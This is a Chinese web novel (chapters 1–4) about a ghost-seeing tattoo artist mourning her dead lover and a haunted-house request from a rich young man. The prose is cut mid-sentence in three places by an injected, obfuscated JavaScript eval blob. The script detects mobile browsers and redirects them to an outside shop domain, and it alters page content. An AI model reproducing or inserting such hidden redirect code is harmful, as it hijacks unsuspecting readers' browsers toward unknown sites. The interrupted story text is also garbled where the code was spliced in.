《看见终极》 1. chapter 1 又是一年八月……陈归澜把手机屏幕朝下扣在桌上,不耐烦地看着柜台前跳八年前流行的舞步的女鬼,直到女鬼跳累了自己离开。 陈归澜能看见鬼,祖传的能力。 但这不是什么值得炫耀的超能力,更像是命运强塞给她的一场永无止境的噩梦。 那些半透明的、带着各种负面能量的亡魂,像无人打理的浮游苔藓,粘稠地附着在各个角落,日复一日地在她眼前飘荡。 尤其是夜晚。 “我真的死得好冤啊,你能理解吗?就是那种,明明可以不用死的……”一个浑身湿漉漉,面色青白的男鬼蜷缩在陈归澜工作室的角落,喋喋不休地重复着他的遭遇,水滴从他虚幻的身体上不断渗出,又在触及地板的瞬间消失无踪。 陈归澜坐在柜台前,正小心翼翼地擦拭她刚淘到的旧音箱,对耳边的哀嚎充耳不闻。 她的工作室在她姥爷留下的一栋老洋房的一层,改造后带着点工业风的冷硬,又混杂着颜料和消毒水的气味。这里,某种程度上成了亡魂的临时中转站。 “我说,你能不能替我去城西那家工厂看看?我觉得是安全措施不到位……”水鬼还在絮叨。 “不能。”陈归澜头也不抬,声音冷淡,“我没空,也没义务。” “你怎么这么冷血!”水鬼激动起来,身影一阵波动,“我死了!我死了你懂吗?!” “懂。”陈归澜终于瞥了他一眼,眼神里没有半分波澜,“每天都会死人,如果每个都要我帮忙,我干脆开个冤情受理中心算了。而且,你死了三年了,那家工厂去年就倒闭了。” 水鬼噎住了,张了张嘴,化作一声悠长的叹息,身影渐渐淡去。 这就是陈归澜的日常。 亡魂们的诉求千奇百怪:报仇、复合、传达歉意、查看家人状况……甚至还有想让她帮忙找生前藏起来的私房钱的。他们大多执着于未尽的念想,能量强的能多纠缠一会儿,能量弱的,说几句话也就散了,也不知道是魂飞魄散了还是去投胎了,毕竟也没有亡魂回来跟她复盘。 心烦归心烦,但在生意冷淡的工作室,这些亡魂出现和她唠几句也能解解闷,问题是,亡魂可没有什么道德与羞耻观念,他们会随机出现在她的房间里,挤在她的床边,嘴里喋喋不休地念叨他们的冤情。 别人说“房间里有鬼”是在开玩笑,但她的房间里,是真的挤满了鬼。 最让她心烦的是另一种。 “我知道你在找一个人,”一个穿着复古连衣裙的女鬼曾幽幽地飘到她面前,眼神空洞,“一个对你很重要的人……需要我帮你吗?作为交换——” 陈归澜当时猛地攥紧了手中的刺青针,指节发白,但最终只是硬邦邦地回答:“不需要。” 找一个人。 是啊,她在找白越。 那个笑容干净得像雨后晴空,却只存在于她回忆和一张冰冷墓碑照片上的男人。 他已经死了,确凿无疑。 但她依然在找,找他的痕迹,找他那或许还徘徊在某处的魂灵。 奇怪的是,白越从未在她面前显现过,一次都没有。仿佛他的死亡是彻底的湮灭,连供亡魂存在的能量碎片都未曾留下。 这成了陈归澜心底最深的刺和最执着的念想。 今天,她本不打算营业。 工作室的玻璃门上挂着“休息中”的牌子。 今天是白越的忌日。 她一早去了墓园,在那里呆坐了一上午,对着那块沉默的石碑,说了许多无人能听见的话。 天空是灰蒙蒙的,就像她的心情。 回来后,她把自己关在工作室里,用兴趣爱好麻痹自己,试图阻挡那些无孔不入的亡魂和更无孔不入的回忆。 然而,麻烦总是不请自来。 下午三点多,门口的风铃响了。 陈归澜蹙眉抬头,看到一个年轻男人站在门口,正探头探脑地往里看。 他穿着一身价格不菲的名牌衣服,头发精心打理过,眉眼间带着点富家子弟特有的张扬和一丝不易察觉的烦躁。 陈归澜从他的身形看到他的脸,越看越觉得相似,眉头越来越皱。 “不好意思,今天不营业。”陈归澜的声音比平时更冷几分。 男人像没听见,径直走了进来,目光好奇地扫过墙上挂着的纹身图案手稿和一些怪异风格的装饰画。 “你就是这里的纹身师?陈归澜?” “牌子在外面。”陈归澜指了指门口,语气不耐。 “看到了,”男人浑不在意地摆摆手,走到柜台前,自来熟地拉了张凳子坐下,“我叫赵许一。朋友推荐来的,说你不光纹身的技术厉害,其他方面也很有本领。” 他想,自己的暗示足够明显。 “今天休息。”陈归澜顿了一下,并没有理会他话语中的深意,重复了一遍,放下手中的音箱,直视着他,“而且,我不接急单,需要预约。” 赵许一被她不加掩饰的逐客令噎了一下,脸上那点张扬收敛了些,取而代之的是一种混合着无奈和焦灼的情绪。 “我知道这有点唐突,但我……我最近有点倒霉。”他顿了顿,压低声音,“我需要你的帮助……我家里,闹鬼!” 陈归澜眉梢微挑:“闹鬼?” 她注意到赵许一周身的气息确实有些浑浊,但并非源于什么邪祟,更像是沾上了点什么不干净的东西留下的“味儿”。这种“味儿”很淡,但与他本身鲜活的生命力格格不入。 “没错!”赵许一见她似乎有兴趣,立刻来了精神,“就是闹鬼!” 陈归澜打量着他。 她能看见活人身上微弱的气场。赵许一的气场颜色明亮但略显凌乱,是典型的生活优渥、心思活络但缺乏定力的年轻人。他所谓的和驱邪需求,恐怕并非空穴来风。 但今天,她没心情应付任何客人,尤其是这种看起来就很麻烦的。 “我这里不提供心理安慰服务。”陈归澜站起身,做出送客的姿态,“如果你想纹身,可以预约其他时间。今天不行。” 赵许一还想说什么,但触及陈归澜那双毫无温度的眼睛,话又咽了回去。 那眼神太沉静,太疏离,看得他心里直发慌。 他讪讪地站起来。 是他有事相求,对方又软硬不吃,他倒也没办法。 “行吧……那我改天再来预约。”他掏出手机,“加个联系方式?方便以后联络。” 陈归澜没动:“预约电话在门外牌子下方。” 赵许一碰了一鼻子灰,有些悻悻然地摸了摸鼻子,转身往外走。走到门口,他又回头看了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16867173|191805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼这个冷清得有些诡异的工作室,以及那个比工作室更显清冷的纹身师,心里莫名地有点紧张,好像对方会带来比鬼更麻烦的事情。 风铃再次响起,门被关上。 工作室恢复了安静,但陈归澜的心绪却被搅乱了。 她坐在柜台前,却再也无法集中精神。 就在这时,一个模糊的、穿着民国时期学生装的少女亡魂怯生生地飘到柜台边,小声开口:“姐姐……我、我找不到回家的路了,你能……” “出去。”陈归澜闭上眼,声音疲惫却冷硬。 少女亡魂瑟缩了一下,身影迅速淡去。 亡魂,活人,回忆……所有的一切都在挤压着她。 她深吸一口气,将脸埋入掌心,隔绝了光线,也试图隔绝这烦扰的一切。 今天,她只想独自一人,沉浸在有关白越的回忆里,哪怕那回忆带着蚀骨的痛。 - 赵许一并没有立刻离开。 他站在陈归澜工作室外的那条老街上,烦躁地踢了踢脚下的石子。 最近真是诸事不顺。 家里新买的房子,自从搬进去就没消停过。不是晚上听到莫名其妙的哭声,就是东西莫名其妙移位,前几天他甚至半夜醒来,恍惚间看到一个女人的影子站在床头,吓得他差点灵魂出窍。 作为接受过中西合璧的高等教育的人,他坚决信奉唯物主义。一开始以为是压力大产生了幻觉,但次数多了,由不得他不信邪。 他找过两个所谓的大师来看,钱花了不少,一个装神弄鬼跳了半天大神屁用没有,另一个倒是说得煞有介事,结果摆了阵符洒了圣水,当晚他照样被冻醒,感觉有冰冷的手指在摸他的脖子。 朋友看他精神不济,提了一嘴这个叫陈归澜的纹身师,说她有点能力,或许能帮他。 赵许一也是病急乱投医,想着死马当活马医,这才贸然找上门来,结果吃了个闭门羹。 那个陈归澜,人也跟冰块似的,眼神扫过来能冻死人,吓人程度和那女鬼不遑多让。 不过……赵许一回味着刚才短暂的接触,那女人身上有种很奇怪的气质,他看着觉得不简单,却又说不上来。 这个念头让他自己打了个寒颤。 他在街上漫无目的地晃悠,不想回那个阴森森的房子。拐过街角,一家看起来颇有格调的咖啡馆映入眼帘。 他决定进去喝杯咖啡,压压惊。 咖啡馆里放着舒缓的爵士乐,即将落山的夕阳透过落地窗洒进来,暖洋洋的。 赵许一选了个靠窗的位置坐下,点了一杯美式,试图用咖啡因驱散心里的寒意。 他拿出手机,下意识地搜索了一下“陈归澜、纹身”,果然找到了一些作品图片。 她在北城算是小有名气的纹身师,围绕她展开的都市传说也不少。 赵许一翻看着她的作品,线条大胆诡谲,构图充满了象征意味,有些图案甚至带着一种诡异的美感,确实和他见过的所有纹身风格都不同。 翻看着这些图片,他心里那种“这人或许不简单”的感觉更强烈了。 正当他对着手机出神时,旁边一桌的对话隐约传了过来。 “……不是普通的心理问题,更像是受到了某种强烈负面能量的侵扰。”一个低沉稳重的男声说道。 2. chapter 2 赵许一下意识抬眼望去。 邻桌坐着一个穿着深灰色衬衫的男人,看起来二十四五岁,面容俊朗,鼻梁高挺,眼神深邃而冷静,气质卓然。 他正在和对面的一个看起来忧心忡忡的中年女人交谈。 “江医生,那您看该怎么办?我女儿她……”中年女人急切地问。 被称作江医生的男人微微抬手,示意对方稍安勿躁。 “常规的药物治疗只能缓解症状,根源在于那股能量本身。我建议……” 过了一会儿,中年女人似乎得到了某种建议,脸色稍霁,起身道谢离开。 江医生独自坐在那里,慢条斯理地喝着咖啡,目光平静地望向窗外,侧脸线条利落干净。 赵许一拿着咖啡起身,坐到江医生对面:“江医生,又见面了。” 江医生似乎早就察觉到了赵许一的到来,收回视线,微微一笑:“不用那么客气,叫我江敬寒就行。” 赵许一垂眸笑了笑。 虽然是一起赛车认识的,在外算得上是朋友,但毕竟没有熟悉到不用客气的程度。 “怎么样?”江敬寒先问了。 陈归澜是他推荐给赵许一的。 赵许一笑着摇了摇头:“没答应。” 他没好意思把自己被客气地“请”出去的实情说出来,只是笼统地回答,没答应。 江敬寒若有所思地点点头:“倒也在情理之中。” 赵许一莫名有些气闷。 听他这语气,好像早就猜到了陈归澜不会答应。 可毕竟有求于人,赵许一只能咽下这口气,另寻他法。 “那……我现在应该怎么办?” 他已经在重新找房子了,这段时间他决定先住酒店。但那边闹鬼的问题不能不解决,不然花了几千万买的房子不能住又不好转手,他倒也没那个闲情逸致把它当祖宗供着。 江敬寒缓缓开口:“你买的那个房子,位置在哪里?之前住的是什么人,了解过吗?” 赵许一连忙报出地址,又说:“原主人是海市人,常年住在国外,这几年回国之后,是他和她的女朋友在住,前年分手之后,他觉得那房子看着难过,索性就卖了。” 江敬寒沉吟片刻,手指轻轻敲击着桌面。 “确定是分手,不是别的原因?” 赵许一一愣:“原主人前些日子又出国了,一直是他的助理在对接,他的助理说是分手了。我让人打听了,同小区的业主也说是分手了。” “我看未必。” 江敬寒话说半截,赵许一干着急:“那、那有办法解决吗?” “需要实地看一下才能确定。”江敬寒说道,“我平时接触的案例,有些确实涉及超自然因素。” 赵许一大喜过望,感觉终于找到了救星。 “太好了!江医生,请您务必帮帮我!报酬方面……” 他的话还没说完,咖啡馆的门被推开。 两人下意识抬头望去,只见陈归澜从外面走了进来。 她似乎是来买咖啡的,脸上还带着未散尽的颓废。 她也看到了窗边的赵许一,以及他对面的江敬寒。 三人的视线在空中不期而遇。 赵许一脸上的表情瞬间变得精彩纷呈,既有刚才讲述闹鬼的余悸,又有遇到大师的欣喜,还夹杂着不久前被陈归澜拒绝的尴尬。 陈归澜的目光淡淡扫过赵许一,在江敬寒身上停留了一瞬。 很烦……她今天很烦。 她没有跟这两个人打招呼的意思,径直走向柜台。 赵许一却像是找到了串联点的关键,猛地站了起来,对着陈归澜的方向,又回头看看江敬寒,脱口而出:“江医生,你们……认识吗?” 陈归澜点单的动作顿了一下,没回头。 江敬寒看着赵许一,又看了看陈归澜清冷的背影,眼中掠过一丝若有所思。 他没有回答,而是起身,稳步走到陈归澜身旁。 “归澜,好久不见。” 归澜?赵许一是个二世祖,但这并不意味着他什么人情世故都不懂。都直接叫上名了,这俩人一定有点关系。 陈归澜拿着打包好的咖啡转过身,脸上没什么表情。 “没什么好见的。”她看向赵许一,“另外,我再说一次,今天不营业,不接单。” 这么凶?赵许一的视线在两人之间来回切换,炙热的眼神让陈归澜感受到些许不适,瞪了过来。 赵许一悻悻地收回视线,但依然盯着江敬寒。 难道两人有什么纠葛?赵许一暗暗猜测。 陈归澜向来不在意别人怎么想她,没有多做停留,拿着咖啡径直离开了咖啡馆。 她没兴趣掺和进任何人的麻烦里,尤其是赵许一这种明显被麻烦缠身的人。她现在只想回去,继续她一个人的哀悼。 看着陈归澜离开的背影,赵许一有些失望,但很快又振作起来,热切地看向江敬寒:“江医生,那你看……什么时候方便去我那儿看看?” 江敬寒的视线从咖啡馆门口收回,落在赵许一充满期盼的脸上。 “就现在吧。”他转过身,“方便吗?” “方便!太方便了!”赵许一忙不迭地点头,生怕他反悔。 - 赵许一买下的房子位于北五环一片老城区。这里曾经是富商显贵的聚居地,如今大多人去楼空,只剩下些风格各异但都已显破败的旧式洋房,掩映在日益茂盛的草木之中。 黄昏时分,夕阳给这些斑驳的建筑涂上了一层暖橙色的光晕,却丝毫无法驱散它们骨子里透出的阴郁。 江敬寒开着车,载着坐立不安的赵许一,停在了宅院锈迹斑斑的铁门外。 “就是这里了。”赵许一下车,指着眼前这栋三层楼高、带着明显殖民风格的老洋房。 墙体是暗红色的砖石,爬满了干枯的藤蔓。院墙高大,院子里杂草丛生,弥漫着一股荒凉衰败的气息。 赵许一名下的房子不少,光在北城就有不下十套。但前些天他跟家里闹翻,一气之下从家里搬了出来,卡被停了,朋友被知会过了,房子也被管家守着。 他把能卖的车卖了,能当的首饰当了,又把能动的钱攒到一起,千挑万选才找到这栋位置不错但维护不当的房子,谁能想到,这房子竟然闹鬼。 江敬寒下车,没有立刻进去。他站在门外,目光沉静地打量着整栋建筑。他的眉头微微蹙起,不像是在欣赏建筑风格,更像是在感受着什么。 “感觉到了吗?”赵许一凑过来,紧张地咽了口唾沫,“一靠近这里,我就觉得浑身不舒服,心里发毛。” 江敬寒没有回答,他闭上眼,似乎在集中精神。过了一会儿,他睁开眼。 “很强的怨念。不是散逸的,而是被束缚在这栋房子内部,形成了一个……场。” “场?”赵许一不懂。 “类似于一个能量结界。”江敬寒解释得很简略,“里面的东西,出不去,相当于地缚灵。外面的人,比如你,住进去,就会受到这个能量场的影响,产生幻听、幻视,甚至物理层面的干扰。” 赵许一脸色发白。 “那、那怎么办?” “进去看看。”江敬寒说着,让赵许一打开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16867174|191805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 院门。 院子里,碎石小径几乎被荒草淹没,一座干涸的喷水池立在中央,池底堆积着腐烂的落叶。空气里弥漫着泥土、霉菌和一种难以言喻的气味。 江敬寒走得很慢,每一步都像是在仔细感知。赵许一则亦步亦趋地跟在他身后,警惕地四下张望,仿佛随时会有东西从草丛里扑出来。 走到宅子主体建筑的橡木大门前,门扉厚重,上面雕刻的花纹已经被风雨侵蚀得模糊不清。 赵许一掏出钥匙,手有些发抖地打开了大门。 沉重的木门被推开,带起一阵灰尘。一股阴冷、潮湿的气息扑面而来,夹杂着更浓的霉味。 房屋内部的光线昏暗,高高的天花板上还挂着蛛网,巨大的枝形吊灯蒙着厚厚的灰尘。家具大多用白布覆盖着,在白布的缝隙间,隐约可见雕花的木质轮廓。地板是暗色的木质,踩上去发出回响。 “我……我一般就住在二楼靠东的那个房间,其他地方……刚交房的时候,我叫人来打扫过。但你说奇不奇怪,最多过半个月,房子就会变成这样,到处是灰尘、蛛网。” “灰尘能解释,西北沙漠化严重,风把黄土刮过来,再加上雾霾,没几天就一层灰。”江敬寒的目光缓缓扫过大厅,“但这蛛网……” 总不能是这里风水好,蜘蛛喜欢在这里繁衍生息。 他的视线似乎能穿透那些覆盖家具的白布,看到它们原本的样貌,甚至看到更久远时光里,这里曾发生过的片段。 他抬起手,指尖在空中虚划了几下,像是在感受气流的走向,又像是在探测什么无形的屏障。 “这里的场很强,”江敬寒低声道,“核心不在这一层。” 就在这时,二楼突然传来一声清晰的女人的叹息声。 悠长,哀怨,充满了无法言说的悲伤。 赵许一吓得跳起来,抓住江敬寒的胳膊。 “听、听到了吗?又来了!就是这个声音!” 江敬寒拍了拍他的手臂,示意他冷静。 “先走。” “啊?”赵许一愣住。 他以为江敬寒下一步的行为是从容不迫地上楼,然后帮他驱邪,让这里恢复平静。 江敬寒似乎看穿了赵许一的想法,一边往外走一边解释:“我是个心理医生。” 赵许一打量着江敬寒的模样,觉得像,但又不止。并且联想到咖啡馆内江敬寒和那个中年女人的对话,怎么看也不只是一个普通的心理医生。 “除此之外,”对上江敬寒探究的目光,赵许一继续道,“我还能看见一些普通人看不见的东西,也学过一点术法。” 就是能驱邪的意思,赵许一精神振奋起来。 但是看江敬寒这模样,好像学艺不精,或者今天遇上的东西太强大,江敬寒也对付不了。 赵许一想了想:“那……江医生你的师父是谁?” 实在不行,他可以去找江敬寒的师父,他的师父肯定是更厉害的人物。 “不见了。” 赵许一再度愣住。 “不见了……是什么意思?” 一个大活人,怎么可能不见?赵许一想了想,把这个疑问咽回去。且不说每年登记在册的失踪人口有多少,就是悄无声息消失不见的也数不清。是他们在国泰民安中被蒙蔽了太久,忘了人类只是高级动物,为了生存必需品和更高的利益,是不惜牺牲其他人的。 但是江敬寒的家世不一般,他的师父又会点术法,怎么说都不应该悄无声息消失不见。就算那些术法对付不了心思丑陋的人,江敬寒大可以动用自己的人脉资源护住他,除非江敬寒不愿意。 3. chapter 3 可叫上一句师父……赵许一不禁打量起江敬寒。 他和江敬寒认识接近四年,但也只在赛车场有过几面之交,偶尔一起出去庆功,说不上交心,更谈不上知根知底。 在赵许一眼里,江敬寒已经变成了豪门世家只看利益不论感情的冷血之人,而当事人却全然不知。 “就是不见了,从这个世界上消失了,或许是死了,尸骨无存,或许是离开了,只留下存在过的痕迹。”江敬寒解释,“我一个朋友说,他变成了风。” 赵许一的脚步顿住。 “风?” 一个人,变成一阵风?赵许一看向江敬寒的目光多了一点怜悯。 这个心理医生该不会是医者不自医,精神出问题了吧? 江敬寒注意到赵许一奇怪的眼神,顿了顿,澄清:“我脑子没问题。那个朋友说,我师父本来就不是人,是一团气,后来……我不知道他们经历了什么,我师父就变成了一阵风,变成了他渴望变成的形态,自由自在地游走在世间。” 不解释还好,一解释,赵许一眼里的同情和怜悯更多了。 江敬寒:“……算了。这件事我管不了,我师父不见踪迹。总之,还是得找陈归澜。” 又回到了原点。 “可陈归澜不是不愿意?江医生,你有什么办法能劝劝她吗?” 谈话间,两人已经走到了停车的地方。 江敬寒打开车门,没有邀请赵许一一起离开的意思。 “明天吧,我去找她试试。” “好。” - 次日十点,店员收拾好店里的设备,打开纹身店的大门。 陈归澜不怎么喜欢自己动手给顾客纹身,店里生意又太好,她就招了几个店员,有几个有预约排期才过来,还有两个天选打工人,有事没事都过来。 陈归澜老说她俩是白雪与红玫瑰的翻版,穿衣打扮一样,性格也都差不多,都很勤奋、开朗,白雪比红玫瑰又多了点安静和温柔。 “归澜,你要老这么说,我可不来了。”邓佳欣不满地抗议。 她是“红玫瑰”,但更喜欢“白雪”。 米利安笑着揉了一把她的头顶,戳穿她:“你每回都这么说,可没见你缺过一次勤。” 邓佳欣像是恼羞成怒一样扁了扁嘴,然后一头扎进清理室,嘴里嚷嚷着要把待会儿要来纹身的客人需要的工具准备好。 陈归澜摇摇头,目光落在柜台旁密封袋装着的工具上。 也不知道是谁刚才清理好工具才出来。 米利安笑着把密封袋拿起来,准备给邓佳欣送过去。 “归澜,你最近心情不好?” 陈归澜没有否认:“日子就那样,心情好、心情不好,都是那么过。” 米利安和邓佳欣八年前就在这家纹身店工作了,那时候这家店还是她的妈妈在经营,算是见证了她的成长、恋爱和失意。 “话不能这么说。”米利安把密封袋放到一旁,索性坐下来,“你选择继续经营这家纹身店,是为了你的姥爷和母亲。” 陈归澜不置可否。 “但这并不是你的兴趣。”陈归澜这些年的遭遇她都看在眼里,心疼却也无可奈何,米利安劝她,“归澜,我是你的员工,是你妈妈的朋友,也算得上你的半个朋友。站在你妈妈或你朋友的立场,我都希望你能去做值得、有意义的事情,而不是将一辈子都耗在这里。” 陈归澜看着米利安,微微叹了一口气。 “可是人生的意义是什么呢?” 陈归澜的目光越过米利安的肩头,投向窗外缓慢移动的流云。 “米利安,你说值得、有意义,可这些词像透明的气球,看起来有形有状,一伸手却只能摸到空气。”她转回视线,“以前我也以为意义在于创造,在于改变,在于留下痕迹,活得轰轰烈烈,人生璀璨绚烂……可是,你也知道,我经历过什么,在我眼里,再轰轰烈烈、璀璨绚烂,最终都会随着人的逝去而消散,没有什么能够永恒存在。现在我常想,所有这些意义,不过都是我们临时搭建的帐篷,用来遮挡宇宙那片庞大而无意义的星空。” 米利安微微蹙眉,却没有打断。 “你看过那些深空望远镜传回的照片吗?”陈归澜继续说,“亿万星系像散落的沙粒,每个星系又有亿万恒星。在那样尺度下,任何文明的存在不过是一瞬闪光。我们建造的一切,珍视的一切,终将随恒星熄灭而消散。那么,此刻我选择留在这里,或是离开,在终极的终极里,又有什么区别?” 第一层终极是宇宙物理学的终极,是人生的终点,即死亡。人做很多事情是为了在生命结束前实现价值。 但终极的终极呢?个人会死,但人类文明、地球、太阳系呢?最终,太阳会熄灭,银河系会与仙女座星系相撞,宇宙可能走向热寂或大撕裂,所有物质和能量都消散殆尽,不再有生命,不再有记忆,不再有任何痕迹。在这样百亿年尺度下,人类文明的存在与否毫无意义。 第二层终极是哲学与存在主义的终极,是人赋予生活的主观意义,比如爱、创造、奉献、快乐、留下遗产。 但终极的终极呢?这些意义本身,是不是为了对抗存在的虚无而编造出来的临时帐篷?如果宇宙本身没有预设任何目的,那么这些短暂、偶然存在的生命,所创造出的任何意义,其根基何在?它是否是真实的,还是仅仅是一种自我安慰?剥开“我觉得有意义”这层外壳,里面是否是空的? 第三层终极是认知与视角的终极,是人所能观察和理解的极限,比如物理定律、宇宙的起源。 但终极的终极呢?大爆炸之前是什么?为什么会有“有”而不是“无”?支配这个宇宙的规律本身,为何存在?人的大脑和逻辑,是进化来在丛林中求生的,它们真的有能力理解“存在”本身的终极答案吗?人可能永远无法触及那个最终的“为什么”。 她的问题悬在空气中,像一颗缓缓膨胀的恒星。米利安静静思考了片刻,工作室里的钟表秒针走过完整一圈。 “归澜,你说的对。在百亿年之后,也许不会有任何我们存在的证据留下。但你想过没有,看见终极这个行为本身,就已经改变了终极的意义。”她的声音轻柔却坚定,“正因为我们知道自己渺小,知道自己短暂,知道自己所做的一切在宇宙尺度上毫无意义,却依然选择去爱,去创造,去在乎某些东西,这个明知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16867175|191805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无意义却依然选择的行为,反而成了最深刻的意义。” 她向前倾身,眼神温暖:“就像此刻,在这里,两个短暂存在的生命在讨论永恒的问题,这个画面本身,就是对虚无最有力的反驳。宇宙不在乎,但我们在乎。而这份在乎,就是意义诞生的地方。” 陈归澜长久地注视着米利安。她想回答,陷在虚无主义中的人是很难理解存在主义的,可看着米利安的眼睛,她实在不忍心说出口。 窗外,一片云恰好飘走,阳光突然洒入室内,在米利安的身后留下一圈光环。 “我知道,我会尽力尝试……” 去寻找终极,寻找存在的意义。 “我妈这两天准备回国,现在应该在巴黎。归澜,有什么想要的?我妈说,她要给你带点礼物。” 陈归澜摇头:“不用了,什么都不缺。” 话音刚落,陈归澜眼睛微眯,看向门口。 工作室的大门被推开,一个穿白色衬衫、米色西装裤的男人走进来,手里抱着一件黑色风衣外套,白衬衫上的金色领针反射着金色的阳光,有些刺眼。 米利安顺着陈归澜的视线回头,有些意外:“敬寒?好久不见啊,快来坐。” 说着,米利安起身,拍了拍旁边的椅子。 “Miriam,好久不见,最近还好吗?” 米利安不是英文名,但江敬寒一直把这当英文名,总是Miriam、Miriam的叫她,久而久之,就都习惯了。 陈归澜看着江敬寒熟络地跟米利安打招呼,默默坐到椅子上。 “老样子。敬寒,听说你研究生毕业,现在已经是心理医生了?恭喜啊。” 江敬寒挑眉:“归澜跟你说的?” “是啊。”米利安只知道三年前,白越去世之后,江敬寒就很少过来纹身店了,这一年里更是没有任何联系,“你们虽然很长时间没有联系,但归澜可是有一直关注你的情况。” 陈归澜:“……” 明明是米利安和江敬寒的姑姑关系还不错,打听来又跟陈归澜说的,陈归澜可没有主动打听过他。 “是吗?”江敬寒有些意外地看着陈归澜,“那昨天装作不认识?因为赵许一?” 米利安察觉到气氛不对,拿起密封袋:“我进去帮邓佳欣清理工具,你们聊。” 陈归澜摇头:“我们之间没什么好认识的。” “因为白越?” 陈归澜忽然沉默。 这个人总是这么讨厌……她难过的、心痛的、无法释怀的人,他总能云淡风轻地提起那个名字,明明他们当初是最好的朋友,明明十几年的情谊,他却看不出任何难过。 “归澜,你有没有想过,重新给自己纹身?” 陈归澜抚上左手纹身洗去的痕迹,手指微微颤抖。 “没有。” “为什么?” “如果他回来了呢?我怕……我看不见……” 江敬寒看着陈归澜失意的模样,也沉默很久。 他和陈归澜认识的契机是白越,白越去世之后,他记着白越的嘱托,经常来找陈归澜,但陈归澜都避而不见,慢慢的,两人就不怎么联系了。 4. chapter 4 这三年间,他研究生毕业,成为心理医生,开了自己的诊所,但陈归澜好像把自己关了起来,把自己关在三年前。 她喜欢吃糖渍橙子。 白越最喜欢在冬天做这个。 虽然不是给他做的,但作为二人的共同好友,他总能分一杯羹。 那时的白越系着围裙,将橙皮削得极薄,说这样才不苦。 滚烫的糖浆一层层裹上去,要耐心等它渗进纤维,把酸涩都转化成甜。 “你看,”白越曾捏起一片对着光,“像不像把时光腌渍起来?” 可时光腌渍不了。 江敬寒知道,糖渍橙子只是造了个栩栩如生的假象。 橙子再不是从前的橙子,糖分野蛮地入侵,置换水分,拆解细胞壁,那看似完整的形态,实则已是另一番天地。用力一捻,橙子就会淌出过于甜腻的汁水,像凝固的眼泪。 陈归澜就是这样一只被糖渍起来的橙子。 三年来,她把自己封存在那罐名为“过去”的糖浆里。外表还是那个陈归澜,眉眼依旧。 江敬寒作为心理医生,太清楚这种静止的欺骗性。 时间这条河,从不因谁的留恋而回头,它兀自流淌,带走沙石,改变河道。 陈归澜固执地停在原地,以为这样就能守住什么,却不知她守住的一切,内里早已被失去和悲伤重新塑造。 她不再吃新鲜的橙子,说太酸。 她的房子还保持着三年前的模样,白越拼了一半的积木她用玻璃罩子框在书桌上,日历永远停在他离开的那个月份,他的画架上蒙着布,却一尘不染,他的拖鞋还放在门口,仿佛主人只是暂时出门,去赴一个短暂的约。 她像博物馆里尽职的管理员,守护着一座只有一个人的遗址。 “有时我觉得,他只是在某个地方写生,画得太入神,忘了时间。”陈归澜曾这样说过,“他会回来的,只要我等着。” 江敬寒从风衣口袋里拿出一颗新鲜脐橙,橙皮紧实,散发着阳光和枝叶的气息。 他熟稔地走进休息间,拿了一把水果刀出来,当着陈归澜的面切开脐橙,汁水四溅,那股清新锐利的香气瞬间刺破了房间里甜腻的滞闷。 “尝尝,”江敬寒递过一瓣,果肉饱满,纤维分明,“这才是橙子真正的味道。” 陈归澜怔怔地看着那瓣橙子,像看一个陌生的、过于鲜活的东西。 她犹豫地接过,指尖沾到微凉的汁液。 她咬了一小口。酸,然后是回甘,那种充满生命力的味道在她口中炸开,与她习惯的、温顺的甜截然不同。她咀嚼着,缓慢地,然后又是一口。 江敬寒看见她的眼眶慢慢红了。 她没有哭,只是静静地吃着那瓣新鲜的橙子,直到最后一点。 窗外,太阳升起,橙红的光落幕,被刺眼的白光取而代之,像某种盛大的告别。 江敬寒知道,那只被糖渍了三年的橙子,外壳终于出现了一道裂缝。 陈归澜或许终于要承认,有些东西,如同新鲜橙子那短暂的最佳风味期,一旦错过,就再也回不来了。而活着的人,终究要学会在失去的空隙里,品尝那些既酸且甜,却真实无比的滋味。 时间从不为谁停留,它只是静静地,把所有的鲜活都变成记忆,把所有的记忆都变成糖渍的标本。 陈归澜指尖上沾着的橙汁已经干了,留下一点黏腻的触感,仿佛提醒着方才那短暂却真实的现在。 她目光空茫地落在窗外日渐喧哗的街道上,每一声喧哗似乎都有一个与她无关的热闹故事。 江敬寒没有急着说话。 他耐心地等着,等着那裂缝自己蔓延。 他知道,对陈归澜而言,任何外力的强行撬动,都可能让她更加蜷缩回那个糖渍的世界。 他清理着桌上的橙皮,清新的气息固执地抵抗着甜腻。 “归澜,”他终于开口,声音放得很轻,“时间不会倒流,白越他……也不会希望你就这样,把自己也一并埋进过去。” 陈归澜的肩膀颤抖了一下,但没有回头。 